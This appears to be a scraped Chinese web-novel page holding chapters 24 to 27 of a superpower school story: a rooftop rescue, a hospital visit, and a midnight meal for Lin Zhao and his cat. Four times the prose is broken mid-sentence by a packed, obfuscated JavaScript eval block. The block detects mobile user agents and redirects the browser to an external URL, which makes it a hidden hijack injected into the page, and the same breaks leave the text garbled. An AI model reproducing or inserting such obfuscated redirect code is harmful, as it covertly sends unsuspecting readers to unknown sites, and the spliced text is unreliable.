;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701085|144450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和收益可言的行为,动机始于最原始的愤怒。无法消解,无法言和,因为唯有碰撞出棱角时,才能理解到自己长成了什么样的形状。 若是连这份愤怒都退让了,那作为一个人而存在的自己,恐怕也会随之破碎消亡。 那么,顾昐回到学校的原因…… “关注教学楼高层,尤其是高二三班附近的监控。”林昭道,“消防警赶不及的话,抽调体育课用的气垫铺在教学楼下,做缓冲。” 晟华每个学年分十八个班,国际班和名校班占据五到八层,特色班和普通班被安顿在一至四层。 雨霁天明,东方一抹微白。七楼露天绿地平台,雾浓得化不开的早晨。 林昭沿着楼梯往上,莫名觉得眼前情景,似曾相识。 直到他抬脚踩上最后一级台阶,视野中映出一道漫浪身影。 黑色风衣大敞,白色围巾猎猎飞舞。 ——贺迟! 本能警报拉响,林昭只觉心脏骤然抽缩,几乎蹦出嗓子眼。智能腕表却只普通地震了震,返回了顾昐微弱的能量信号,未向他做出更多的危险提示。 ……他是个,白板。 温氏兄弟没弄错,他真是个普通人? 怎么会…… 这不合逻辑。 “你来了。”男人返身,温声同他寒暄,“这孩子的状况比较严重,手边没有器械和药物,我只能稳定他到这个程度。接下来,他就交给你了。” 远处,顾昐抱着膝,将圆圆的自己团作一团,小心蹲坐在绿地平台的边缘。忽略掉视野下方遥不可及的距离,他的样子看起来像在街心公园晒太阳,无比安详宁静。 林昭收回目光,小心翼翼靠近顾昐:“一次还不够?你还想再创造几起坠楼事故才满足?” 贺迟立定着没动。他笑:“可我看到影片。你觉醒了飞行异能,对吗?” 林昭懒得搭理他。他踩上绿地平台的边缘钢架,伸出一臂,比划了下距离。 “赶紧走吧你。”他催促道,“我不管你是什么东西……” 话未说完,林昭先愣住了。 前一秒钟还立在绿地边沿的高挑男人,这会儿已消失不见,连半个影子都没剩下。 好像他不属于这世界,来这儿闪现几秒,纯属一场巧合意外。 ——吱呀,吱呀。 喀,咔咔咔。 风摇荡着,楼跟着晃晃悠悠地扭摆起来。顾昐圆滚滚的身体跟着平衡不稳,往外一翻,溜溜球似地滚出了平台钢架边沿。 半声惊呼扼在喉间,电光火石之间,林昭合身扑上,双臂死死钳住顾昐柔软的身躯。 要命的地质事故…… 要命的反重力磁贴…… 还是个不成熟的测试品啊啊啊啊!!! 有点作用,但不多。两人一高一低地,以一种0.8倍速慢镜头的无用速度,飞速往楼底坠下。 林昭忍不了了,他怒吼:“不是你真的只有三百斤吗其实你又重了吧啊啊啊!!!” 与此同时,顾昐突然惊醒,爆出一阵骇人的痛哭。 “对不起,对不起,我不想,我也不想的啊!!!”半空中,他面容抽搐成一团,两道白花花泪水忽然飙出,“林老师,你救救我,你救救我吧——!!!” 25. 你别说了 半空中,数绺乌黑纤韧的发丝扬起。 有如干藻吸饱水汽,黑色的发丝如有自主意识一般增生膨胀,舞动着张成一张大网,缠湿垃圾似的,将坠空的两人紧紧包裹。 漫天黑色发丝尽头,单荔险险吊在走廊栏杆上。她体重太轻,半个身子都被扯了出去,全靠身旁几个同学拼命,才勉强把她连同那一大把触手似的头发固定在地面。 速度骤止,林昭向她投去一个感激的眼神。 他只是赌一把,却没想到这女孩真能在极限情形下突破心理障碍,将能力最大化地发挥出来。 “……单、单荔。”顾昐失措,破嗓的声音不觉小了下去,“你、你好啊。” 单荔面色相当难看,也不理他。眼看氛围尴尬,林昭忍不住打了个岔:“顾昐,你不道个谢吗。” “你的同学,他们找了你一晚上哦。” 顾昐窘迫着打腹稿,脆弱的头发已支持不住这超量的体重,嚓嚓撕开断裂数把。两人往下一滑,顾昐急眼了:“别管了快放开!!!你也不想秃头吧!!!” “!?”这话简直是在花季少女的雷点蹦迪,单荔大怒,“我不可能秃啊!!!你知道什么叫超能力吗!超能力——” 半句话的时间,大把大把的头发断裂飘散。单荔体力不支,飞扬的青丝狼狈收回,她本人往后一晃,轻飘飘地摔落在地。 “好饿……”她恍惚着抬手放在瘪塌塌的胃部,细心感受着每一分钻心剜骨的饿意,头一回生起了放开胃口大吃一顿的念头。 楼底的缓冲气垫若海浪般颠簸起伏,停滞的速度重启流动,五楼、四楼……三楼走廊侧畔,数株美人蕉和棕榈叶自栏边快速生长拉长! 林昭眼疾手快,劈手捞住这一把新生的嫩叶:“谢了。” 高空吊单杠这种事,一回生二回熟。再来一回,林昭觉得自己就能去考个高空救援证什么的了。 顾昐惊声:“班长……” 高空接力救援,五楼第一棒单荔,三楼第二棒于见霜。 高二十八班的班长,能力是植物促生,也是林昭初到晟华时,打过一次照面的那位短发女生。 顾昐和她虽在一个班,但除了收发学校材料,两人几乎没说过话。想破顾昐的头,他也想不到这位“陌生人”会为了自己奔波半夜。 女生保持着一个张开双臂拥抱太阳的施法姿势,忧心道:“你们……” 植物比头发还不耐撕,也就静滞了那么半秒,廊边花坛里数棵植物被两人拽得连根拔起,泥土乱飞,叶片劈头盖脸跟着一起往下摔。 “嘶……一定很痛。”于见霜抽了口气,轻拍另几株植物的叶冠,“不要看,没事了。” 三楼,两楼……最后一棒,就是事前在楼底铺好的缓冲气垫。 软着陆前一秒,余震翻振一道巨浪,顶层气垫随之掀起,将两人一颠往外滑甩出去!!! 意外陡生,人群惊叫,却赶不上救援。千钧一发之时,一道身影打横冲出,张臂拦腰,拿身体作了最后一道缓冲带。 最后一棒,王觊。 砰——!!! 一声重响,三人摔了一地。林昭最轻,位置又在最上方,几乎没怎么摔着就跳下了地。剩下两位都摔得有些惨,顾昐喘着粗气呼哧呼哧地瘫到一旁,这才现出被他一头捶在地面上的高个子男生。 七零八落的人群涌上来,林昭无心搭理顾昐,合身一扑,上手就扯王觊的脸。 所有人:“???” 顾昐:“!!” 王觊一迭连声地喊:“啊痛痛痛痛痛——!!!” “林老师您做什么……”他尽可能聚焦视线,维持基本的镇定,“我——” “还装?”林昭冷笑。“昨晚到现在,我提醒你几次了?” “两个选项。自己说,还是跟我去超管局?” “王觊”的瞳孔骤然收缩,浮现出一抹从未有过的惶惑。他面部的肌肉纹路怪异扭动,嘴角痉挛,似哭又笑,好似每个五官组件彼此毫不关联,只是潦草拼装到一起,费尽全力,才得以维持住这个人类的外形。 林昭眼神微闪,被他不错眼地捕捉。男生双手猛然一合,遮住自己脸孔。 “……别在这里。”他的声音也和外形一样不稳定地起伏着,“别看我。” 嘶着冷气,他缓缓蜷缩身体:“顾昐啊顾昐,你他妈……你压死我了……” 红彤彤的朝阳探出楼宇,攀上云端。 新的早晨,到来了。 “第三、第四肋骨,有陈伤。”大夫拎着两张CT片子,指给林昭看,“喏,以前骨折过,就没长好,有轻微的移位。这次是伤上加伤……你平时走路活动,痛不痛啊?”最后一句问桑士桢的。 陈伤?谁家好人没事弄断两根肋骨? 林昭垂眼,仔细打量僵挺着上半身硬坐在凳子上的桑士桢。 粗毛毛虫般攀布在他头面部的丑陋刀疤全不见了,现出一张线条清峻的锐气面庞。眉骨高拔,鼻尖挺翘,下颌线笔直利落,肩线能撑得开王觊的XXXL码校衫,侧面偏又瘦薄得像片纸。 但若是定睛细瞧,仍能在他那张拒人千里的臭脸上辨出隐约数道延伸入颈的发白刀痕。 智能腕表无声记录着,返回给林昭一组新鲜跳动着的能量波形型号。 桑士桢:“不知道。没感觉。” “这怎么能不知道呢。”医生叹气,抬眼从镜框上方盯着林昭,“这位是……你是桑同学的家人?……” “路人。”预感医生下一秒就该责备“家人”不够关心小孩的健康状况了,林昭无情撇清关系,“我见义勇为。” 桑士桢:“。” “噢,这样。那……那你的家人呢?”医生迷惑几秒,放弃了和林昭沟通,“肋骨骨裂不是小事,叠加陈伤,治疗方案比较复杂。你又是未成年人,最好还是能尽快联系监控人,方便推进治疗哈。” 林昭:“我是他老师,费用我负责。” 医生:“。”刚还说什么路人来着! 桑士桢:“???” 林昭:“我成年了。我有钱。还有问题?” 桑士桢:“。” “我恢复能力很好。”眼看着钢笔尖就要落下,桑士桢抢白道,“打个固定开点消炎就行,没事。” “……听我的。”他很坚持。 顾昐那边,只受了点皮外伤。相比之下,催眠对他造成的应激状态更加严重,做完全身检查后,医生给他开了点精神类药物。 和教导主任沟通情况后,顾昐和“哔哩打人”的几个学生都先被安排回家休息。至于这会儿同时存在着两个“王觊”的问题…… “对,别担心,没事儿。”出了门诊,桑士桢和他打手机,“你管自己上课。他们要问你,你就说经过昨晚的事,你成长了,现在知道要以学业为重……得了吧,剩下的自己想,拜。” 按掉电话,他后退两步,倚着墙定住:“说吧。准备拿我怎么办?” 林昭想他遇到一个麻烦人物。说品行有失吧,跟着奔波通宵找同学的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701086|144450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人是他,临危应变撞裂了两根肋骨的人是他。若要说安分守己,就这作弊逃课冒领同学身份还搞出一打人委托APP的操作……堪称在行差踏错的边缘疯狂试探。 “你的能力罕见,你自己也很清楚,”林昭想了想,道,“到了超管局会发生什么,你大概也知道不用我多说吧?” 少年绞起了眉:“你威胁我?” 林昭看看他,突然不合时宜打了个哈欠。 “你是真的不困啊……”他挥挥手,转身往外,“那你自个儿待着吧。” “喂你把话说清楚。”很多时候,人与人的关系就似一场零和游戏,你不急,急死的就是对面。桑士桢三两步追上来:“什么意思,不是给了我俩选项吗?我……” 林昭一停:“你说。我听着。” “哎,别挡道啊,让让,让让哈……”一个中年妇女单手高举吊瓶,另一只手绕背扛着身穿宽松病号服的老人家,在两人中间挤开一道宽阔的缝。 “我……”桑士桢动了动唇,没声了。门诊大楼走廊人来人往,每一秒都有人从他俩面前行色匆匆挤过,他低头,放轻了声音:“换个地方。” 这话怎么好像在哪听过? 哦,就几小时前。先前是“别在这里”,现在变成了“换个地方”…… 逃避就是拒绝,没意义的鬼打墙。林昭折身往外,让智能管家设定导航路线准备回家。事出突然,飞碟被他独个儿丢在家里一天一夜,还不知道现在是个什么情况。 早知养猫了,就该在家里装满监控探头,方便全天候监控猫猫的生活状况……回去就动手。 “这里没有回晟华的车。”公共巴士站牌下,林昭无语提醒身后影子一样粘过来的高中生。 “我知道啊。”男生单手插兜,看看站牌,又垂眸看看林昭,“就是突然想起来,你平时好像都骑自行车。” 林昭:“?” “其实你挺穷的吧。”桑士桢眉眼一弯,“说心里话,我对你感觉挺复杂的。我挺烦老师的,偏偏你又不是。这学校一堆人追着你跑,你就在那儿……谁也不放在眼里。” “所以你摔下去还抓着顾昐不撒手,我是真没想到。”男生转开视线,“多好,你还那么穷。” 林昭:“……” 这说的是人话??? “你那‘哔哩打人’,赚得应该不少。”林昭回他,“交税了?” 桑士桢:“……” 远方道口处,公共巴士打着大灯的红色车头隆隆浮现在茫茫白雾中。桑士桢收回视线,敛了神色:“我说真的,能帮我个忙吗。” “……这个能力,我不想让更多人知道。”他垂落眉眼,低声道,“所以,能帮我给体育老师解释下么。” “王觊很重视下半年那个全国赛,训练很久了。总不能因为我瞎搞就害他丢资格吧……要道歉也可以,做什么都行,我都愿意。” 什么和什么啊? 说得那么夸张…… 林昭反应了两秒,慢腾腾回想起了昨晚体育教研组长对准桑士桢脑壳招呼的那一记铁砂掌。 ……哦。 估计就是恨铁不成钢的气话,作不得数。 小孩子才把老师的话当真,像他这种没正经念过书的,通常都拿这些话当耳边风。 “好啊。”林昭心安理得应下,挥挥手顺着人流上车。 红色双层巴士折拢车门,白雾中渐行渐远。桑士桢眺着那车走远,吹声口哨,转身几步,身影一花,消隐在熙来攘往的十字路口。 26. 我有自己的节奏 晟华高中附近不远,某家城市报社。 “放大,再大。”总编辑抱臂立在美编身后,双目炯炯,“对比度再加强,注意氛围……标题字也大!!!” 美编灵魂出体,操作着鼠标旋转缩小放大:“这……没错吗?真是那个能飞的异能者?” “保真!”总编辑激情洋溢,“过程都录下来了。城市英雄奇迹再现,高楼飞身一跃,奋力救回坠楼学生!只此一家,我们的独家!!!” 美编默默无言加快了工作。总编辑慷慨激昂:“新媒体部已就位,今晚八点线上铺开。明早全城头版头条点赞,务必要将城市英雄为人民、人民英雄在身边的精神传递出去!!!” 发表完演说,总编辑心满意足,背手离开。 在他办公桌高高堆着的案头后方,和田玉镇纸压着一方刚下发不久的红头文件。 「宣传部门通知:关于促进城市精神建设与本土超级英雄文化品牌融合发展的指导意见」 黎沅和丁汀娜高调现身东璞港,圈粉无数点爆东国人气,也引起有关部门的高度重视。诸位大佬见贤思齐,灵魂叩问。 别人家有超级英雄,我们凭什么不能有? 我们不仅要有,还要做到世界一流领路人水平! 要坚定自信,稳步持续扩大文化影响力! 林昭对此一无所知。他照常在连续加班不眠不休三十余个小时后回到家,却在推开门前一秒,感到种没由来的恐慌。 猫粮放够了吗?飞碟会不会挨饿呢? 会不会放太多了,一口气吃撑对身体也不好…… 猫砂盆和水盆打翻了怎么办? 收拾卫生很麻烦就不说了,房间墙体和地板下都改造过布着不少电线,碰着水那是非常危险的…… 十万个念头纠缠成一团乱糟糟的毛线球,在林昭的脑海中翻来滚去。 越想,越悔恨。 果然还是应该装它十个八个监控……! 一咬牙,林昭狠心推开了门。 室内窗明几净,他脑补的若干恶性情状无一应验。阳台前长窗帘拉开,午后的阳光一路泼洒至玄关他的脚底。 “喵……喵喵喵喵。” 门边,午睡刚醒的黑色毛球翻身拱起,竖着飞机耳蹭咕蹭咕,肉球爪乱挠林昭的牛仔裤边。 ……在等他回来啊。 心口忽然一软,林昭蹲下去,将飞碟整条抱住。 猫的体温比人高出几度,搂着这样一条活物,怀中暖洋洋捂得滚烫。 猫粮没吃多少,猫砂倒是用了一大半。林昭抱着猫巡视一圈,重新评估了下外出时要配给的物资份额,优先下了外送订单。 冲完澡,无人机恰好停靠窗台,将订购的猫砂和猫零食送到。飞碟可能吃饱了,见了零食也不馋,只是游手好闲地拿林昭当猫爬架上蹿下跳,也把他的衣服都划拉得毛毛糙糙。 林昭由得它胡作非为。 随便,都可以,飞碟开心就好。 这一觉睡得格外黑沉。意识模糊时只听得喵喵喵叫得着急,一团毛绒绒的热源在头颈处拱来拱去。跟着一股腥味儿飘进鼻翼,脸颊上碾过一阵微茫刺痛。 被吵得不是太舒服,但林昭困得不行,意识被什么重物扯着直往下坠。他动了动,翻身接着睡。 痛觉层层累加,变本加厉,扎得他脸和手臂火辣辣地疼。生怕再睡下去脸皮都被刷掉了,林昭垂死挣扎着抬起眼睫,对上黑暗中飞碟一双亮如小灯泡的眼瞳。 “咪呀——!!!”黑色毛团子急急嚷着,四肢张开飞扑上来。林昭一把接住它,偏过脑袋蹭了蹭飞碟黑漆漆的柔软皮毛。 “这就饿了?”林昭疑惑道。 舔那么用力,还以为要把他给吃了。 智能表显示,凌晨时间一点半。通讯软件和邮箱红点堆积,是研究所、超管局还有学校方面遗留下来的工作。林昭视而不见,下床检查睡前添好的猫粮,却发现仍是满当当的一盆,分粒未动。 林昭:“……?” 飞碟在他脚边绕来绕去,小声喵呜喵呜个不停,分明是要讨食吃的模样。可猫粮递到嘴边,它啪一下扭头;零食和罐头还算能舔一口,也就只有一口。 又跑到冰箱边,尾巴摇晃,呼喊林昭过去。 自己不在家这三十几个小时,飞碟身上,显然地发生了某种不为人所知的变化……但冰箱是空的。自前几天发现囤的食物惨淡过期,林昭就把干面包变质奶和放了一个月的鸡蛋送进了垃圾站。 门开,灯亮,冷气扑面而出。 “什么都没有啊。”林昭搞不明白了,“UFO,你想找什么?” 还UFO呢,飞碟焦头烂额,CPU都快烧干了。 它想说的是—— 你!人类!我最驽钝的臣民!你一睡不醒,本王还以为你死了!!! 现在,为了更好地服务本王,你该保重你的身体。本王发布命令,捕猎时间到!!!非要本王赐予你食物不可,那也不是不能商量!!!快心怀感激,跪下乞求我吧!!! 然而它张嘴,喵喵喵喵喵。 林昭了悟:“懂了,你想吃点好的。” 全、全错啦! “喵……”猫垂头丧气。 一人一猫出了门。空的猫包拎在林昭手上,猫自由自在跑在地面。飞碟被收养前是鱼珠巷一带威名赫赫的小野猫王,不似打小养在家中的宠物猫那样矜贵,户外奔跑熟门熟路。 平时两间屋十数个平方给它活动太过委屈了,林昭心里很有些愧疚。当初给猫画饼,说的什么天天吃大餐,遇到705这一群生活废物,一天天吃的,全是添了诱食剂和粘合剂的袋装猫粮…… 联系主播垫钱买了寻人广告,林昭这会儿囊中羞涩。但他还是招呼着飞碟,走进了鱼珠巷深处,唯一通宵营业的一间名品居酒屋。 坊间添油加醋,说鱼珠巷早午晚市有所谓的四天王店。晨起找胖叔干一碗招牌五香干丝炒面,午后到花姨的龙氏冷食拎一袋冷熏鱼,晚间最适宜到席老板家,找三两好友分一锅海鲜菜泡饭,午夜各店铺都打烊后,就该到巷子尽头的信风酒居吃两盏雪雾梅花酒了。 老板娘兼主厨风聆信子,据传年轻时曾寰球游历,向各国名厨拜师学艺,晚年回到故土,倾毕生所学,开设一间主售融合菜式的居酒屋。 网友探店点评,说信风酒居什么都好,就是贵,贵得令人发指。 和纸拉门推开,乐声有情,绵绵而来。女声唱腔圆润甜美,淡染片缕愁绪,是如今已很少听到的,上个世纪的古典唱法。 四拍子旋律悠扬摇曳,听不分明的异国语言流淌飘逝,暖黄灯下,一分一秒的流逝忽然拉长。 店面狭窄,仅有十几只高脚椅,绕铁板吧台包了一圈。传说中的风老板娘站在吧台里擦拭一瓶梅花酒,慢声道:“……所以啊我就说了,不要想那些,想那些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701087|144450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有的没的啊都没有用。喏,最后点餐时间,要点什么,赶快。” 衣帽架上撑着的翻领长大衣,在地面投下一道模糊的黑影子。吧台前的男人支着两条长腿,接过菜单,却只拿在手上不翻:“不急的。” 居酒屋里四壁不染的干净。林昭打开猫包,飞碟一扭身,乖巧蹦了进去。老板娘隔着吧台张望两眼,为难道:“小帅哥,不好意思啊,我们这里不能带宠物进的……” 不该相遇的时间,不该相遇的地点,不该遇到的人。普通来说,撞见危险度不明的午夜怪谈时,最好是假装没看到。林昭视线一动,略过贺迟,道:“外带呢?带走可以吧。” 他指了指黑板上特别菜单里一道大满贯拌饭:“我要这个。” 鱼生鱼炙,牛舌牛肝,虾仁鸡骨,对一只猫来说,营养搭配十分全面。 也就八九百……没到四位数,付得起。 这次的反对者变成了飞碟本碟。小黑猫猛一下从猫包里探身出来,吹胡子瞪眼大声喵喵喵。 “呃……”林昭赶紧喊住老板娘,“不好意思,稍等。” “它好像不太喜欢,我再考虑下。” 飞碟:人类!你就没有猜对过!!!禁止曲解猫的圣旨!!! 然而听在林昭耳中,这仍是一顿意义不明的猫语。 贺迟踟躇片刻,终于还是说话了:“你的猫。它也许是……想催你吃饭。” 林昭:“。” 活到要猫替他担心噢! 飞碟喵嗷一声,向他的人类嘴替致谢,继而弯过脑袋,蹭了蹭林昭的臂弯。老板娘掩着口噗嗤一声笑,目中流过一丝怜爱:“好吧好吧……都这么晚,也不会再有客人了。小帅哥,带着你的猫过来坐,小心一点就好。” 错的时间,错的地点……明明想拿了餐就走,免得再出什么意外事故。 结果盛情难却,被飞碟一路叼着拽到了吧台前的高脚凳上。 算了。这里又不是七楼楼顶…… 隔开两个位置,林昭把猫包啪一下放在两人之间。 事不过三。 真要对他不利,这次也该换招了。 飞碟对贺迟没有敌意,它骨碌碌转着眼珠,好奇掂量这个陌生人。林昭从后往前翻菜单,点了份最便宜的冷荞麦面,觉得不该自己吃独食,又颇有顾虑地看了看身边的猫。 “……这些就够?”老板娘画着浓妆的花容轻轻一颤,“要帮忙推荐几道菜式吗?本日送来的活海胆非常新鲜,是特别推荐品喔……” “信子阿姨,你休息吧。”贺迟长身起来,绕到后场推门进了料理区。白衬衣袖口挽起一截,他动作娴熟挂上围裙,戴上薄膜手套:“这里交给我。” “小迟的朋友?那,不打扰你们了。”老板娘笑眯眯和林昭道别,轻步掀了帘缦退身出去。林昭拧着眉,垂眸看贺迟指间银光翻飞,顷刻间,数碟片得均匀漂亮的鱼生、肉类和肝脏已整齐备好。 “流浪猫是城市中头号猎鸟杀手。”柔婉的歌声中,贺迟缺乏情绪起伏的口吻显得极为违和,“它们的食物未必需要多复杂的成分,但必须要有大量蛋白质、并适量补充肝脏和血肉。” 猫猎鸟…… 就像你惯于切开别人的头颅? 林昭撇开视线,忍下这个可能惹来祸事的问题,还他一出已读乱回:“这放的什么歌?” “很久以前的歌。”贺迟笑了笑,“「夜来香」。” 27. 吃这么好 吧台上推出两只镂雕描金漆食盒,靠里侧一只盛放着双拼碗猫饭。半边透着红的生,蒸至七成熟的小块牛肉糅合着点点蛋黄;半边焖至白的熟,剔了骨去了刺的刀鱼肉细腻,托住熟透的心肝内脏碎骨。 飞碟纵身一跃上桌,埋头大快朵颐,以行动给出一只猫能给出的最高评价。 “自制生骨肉的营养成分,最接近猫咪的自然饮食结构。但若采购渠道选取不当,有概率引发寄生虫感染。” 确认过菜品符合猫主顾的胃口,贺迟转回视线:“每一次见你,你都忙碌着在救某人。我想无论是挑选肉类来源,还是为猫咪做定期驱虫,都可能让你感觉到负担。所以退而求其次,用熟猫饭代替做主食。” 这里本来该说谢谢。但对方这种事事替你考虑周全,轻描淡写着却又刻意挑破拆白的口吻,让林昭觉得个人边界遭到侵逼,心里生出种不舒服的感觉。 因此他什么都没说,取了筷子,低头观察自己和飞碟面前的两份餐食。 一左一右,内容物不同,外包装全然一致的两只食盒,精准排在同一道轴线上。 随手一放,就摆出了强迫症极度舒适的阵型。人猫同款,不免就让人产生了些不妙的坏联想。 “两份猫食。”林昭轻挑了下眉。 食盒中装盛着的,其实都是他可以吃,或者喜欢吃的料理。当中一只异形手工土陶碗里轻舀着半盛白米饭,上撒着少许青瓜丝、海苔碎、白芝麻和一朵切成花型、色泽丰润的腌渍梅子。 碗口边卧着半片黄油煎过的阿拉斯加银鳕鱼,鱼肉雪白,油脂丰美,美拉德反应炙出的焦黄色产物散发着诱人的芬芳。绀青色茶瓶中装盛着的也并非司空见惯的昆布汤冲绿叶茶,香气丝丝飘缕,闻起来似是东璞一带的名品白珊雪芽。 林昭不挑茶叶,只要别太艰涩入喉,他什么都行。白珊雪芽是林君成喜欢的茶叶,往年705还在科学院里头时,逢年过节各合作单位送礼上门,都少不了两盒精包装的雪芽新茶。 闻弦歌而知雅意,闻多了茶香,难免也要成半个品茗的行家。 主食以外,又有两碟菜什。白瓷盘中黑松露玉子烧通体金黄,青翠荷叶包着一球焯熟以佐料凉拌的春日杂蔬。 没有生食,没有辛辣菜肴,当然也不是猫饭。 明知不是,林昭还是要这样问。 “不是猫食,你不是猫。”贺迟给出了最无聊的一种回答,“显而易见的,猫饭不符合人类的营养需求。猫饭不适合你,你是人类。” 林昭:“……?” 没关在实验室里跑十年坏点数据,都讲不出这样没人性的话。 不吃猫饭的未必是人类,还可能是鸟或者蚂蚁啊。 “你的演绎推论有问题。”他兴致缺缺指出对方的基本错误,往土陶碗里注入茶汤,动筷挟下半块玉子烧。 蛋皮湿润松软,咸中微甜,口感丰富扎实。黑松露的鲜气紧跟着溢出,最后一口品尝到的是绵软流淌的醇厚蛋浆。一口咬下,林昭眼睛一亮,抿成一条直线的唇角无意识地轻翘。 “……有点烫。”他抬手扇了扇灼痛的舌尖,义无反顾将剩下的大半块玉子烧都送进了口中。 贺迟回神,静若止水的眸光倏忽一动。石膏像般俊美的脸孔上,蓦然染上几分活人生气。 他无声点头,悄然转到吧台里侧,有条不紊准备正餐后才可享用的高糖甜点。 春笋、荠菜、马兰头、草头……春日野菜被爆香的白酒和新摘的荷叶一熏一裹,正合时令,意暖风凉五月天。雪芽茶汤泡过圆粒珍珠米,翠绿水面托起一点嫣红,奶白鱼肉若饱满蒜瓣层层张开,瓣瓣入口即化。 食材寻常可见,好似眼前身后庸碌反复的日常。制成菜肴却格外适口,仿佛在普通的每一天里,巧遇了意想不到的惊喜。 很难得的,林昭没放任注意力四处跳跃,而是专注在面前的一餐一饭上,一口一口细嚼慢咽,一直吃到了碗盘见底。 飞碟先他一步舔干净食盒,贺迟适当其时收走半边餐具,端上一只轻到没分量的一次性蕾丝花底纸盘。 林昭一愣,脱口而出:“白脱冰淇淋!” 东璞地区历来以洋泾浜出名,早年放着好好的黄油奶油不喊,偏要将Butter音译作“白脱”来讲,由此又派生出白脱饼干、白脱蛋糕等一系列地方特色点心。 现在除了几家风中残烛的老字号,市面上已不兴白脱这种叫法;但两片白脱饼干夹半块光明冰砖,是林昭小时候最喜欢的甜点心。 贺迟取下围裙叠拢收起,语气如常:“信子阿姨常讲,本土的饮食店要做出本土特色味道。白脱冰砖霜淇淋是甜点单上的经典款式,你喜欢它,那最好不过。” 林昭点点头,忽然就打消了追问的念头。 白脱饼干和牛奶冰砖都是记忆中的味道,白珊雪芽的淡雅香气久久萦绕不散。这三样都是东璞地方上的特色,兴许,这只是个不那么幸运的巧合。 咬掉最后一小角甜饼干,林昭走了会儿神,问吧台对面的男人:“这些,多少钱?” 贺迟摘除掉薄膜手套,抛进清洁桶:“不要你的。” 不要钱的,往往是付不起的。林昭道:“不必。还是照单子来吧。” “你太多顾虑。在我这里,请你吃饭,算是一种投资。”挂壁音箱中歌调婉转,将贺迟的声音也浸得不真实,“或许你也听说过,与社会名流人士保持良好关系,是我们这一行能够顺利工作的关键秘诀。” 林昭:“什么社会名流啊,你看错了。尽快止损如何?” 贺迟轻笑着摇头。他按下遥控器,做了个请的手势,示意林昭看悬吊着的挂壁电视。 画面亮起,跳转到几小时前发布的一则动态新闻。红霞渐染的天穹下,林昭看到自己追着顾昐跃身而出,又在几位晟华学生齐心助力下,平安无事落地。 新闻弹幕精心筛选过,意识风向明显: 「守护东璞好市民[赞]」 「低调踏实不作秀,我们需要这样的英雄」 「互帮互助,团结有爱[爱心]」 发布者是东璞港一家口碑官媒,新闻标题点出“城市英雄”一词,态度立场不言而喻。 林昭:“……” 早晨五点多都有人拍到现场直播哦! 崩溃了,他对这个吃瓜群众无处不在的世界无语了。 贺迟道:“再过几小时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701088|144450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天一亮,本日新出刊的晨报送到各社区机关,你就将成为这座城市最炙手可热的明星人物。” 林昭只能笑。事态发展总不如人愿,能怎样,躺平接受现实吧。 后厨料理完毕,贺迟走出到玄关边,取下垂头向地的长大衣:“手术台上风险难料,今天是我打开别人的头颅,明天也许就轮到自己的头颅被摘除。谁能预料呢?或许有一天,我也会陷入困境,需要向您这样强力的能力者寻求庇护。” 语意戛然,曲声终了。和纸拉门平缓拉开,丝缎般的夜疏忽垂落。 三两点闪烁星子仔细眨眼,紧紧盯住门里的人。林昭却没留意,他喊住贺迟:“认识一下吧。” “林昭。双木林,日明之昭。”他顿了顿,“你呢?” 男人眉睫轻颤,深深看他。那张立体分明的面容一半照在光下,一半埋在夜影里,于是也有一只眼似墨玉温润,另一只含混不明,显出几分难解的阴鸷。 “……贺迟。”他半开玩笑,“但愿我来得还不算太迟。” 两人各自散了。到家门口,林昭忍不住又去看隔壁那扇紧闭的门。 就这几天之间,原住客的普通木门被拆走,新装上一扇质地厚重的古董式样防盗门。 大约是快要入住了,他想。 翌日清晨。 “大家好啊各位看我身后……对,对,我那个就是已经到晟华中学了……” “现在是早晨七点多一点,我打听了一下晟华这个早自习是七点半开始的,所以现在啊就是那个,学生和老师进学校的时间……” “我们就在这里等,一定能等到那位神奇的能力者!家人们有什么想和他说的,可以先留言给我。” “你们肯定很好奇昨天发生什么,不瞒你们说我也超好奇啊……一会儿就找几个学生问问~” 大批记者、摄像师、博主还有网红蜂拥而至,本就拥堵的校门口雪上加霜。要不是日子不对,过路人恐怕都要以为这里成了高考考场。 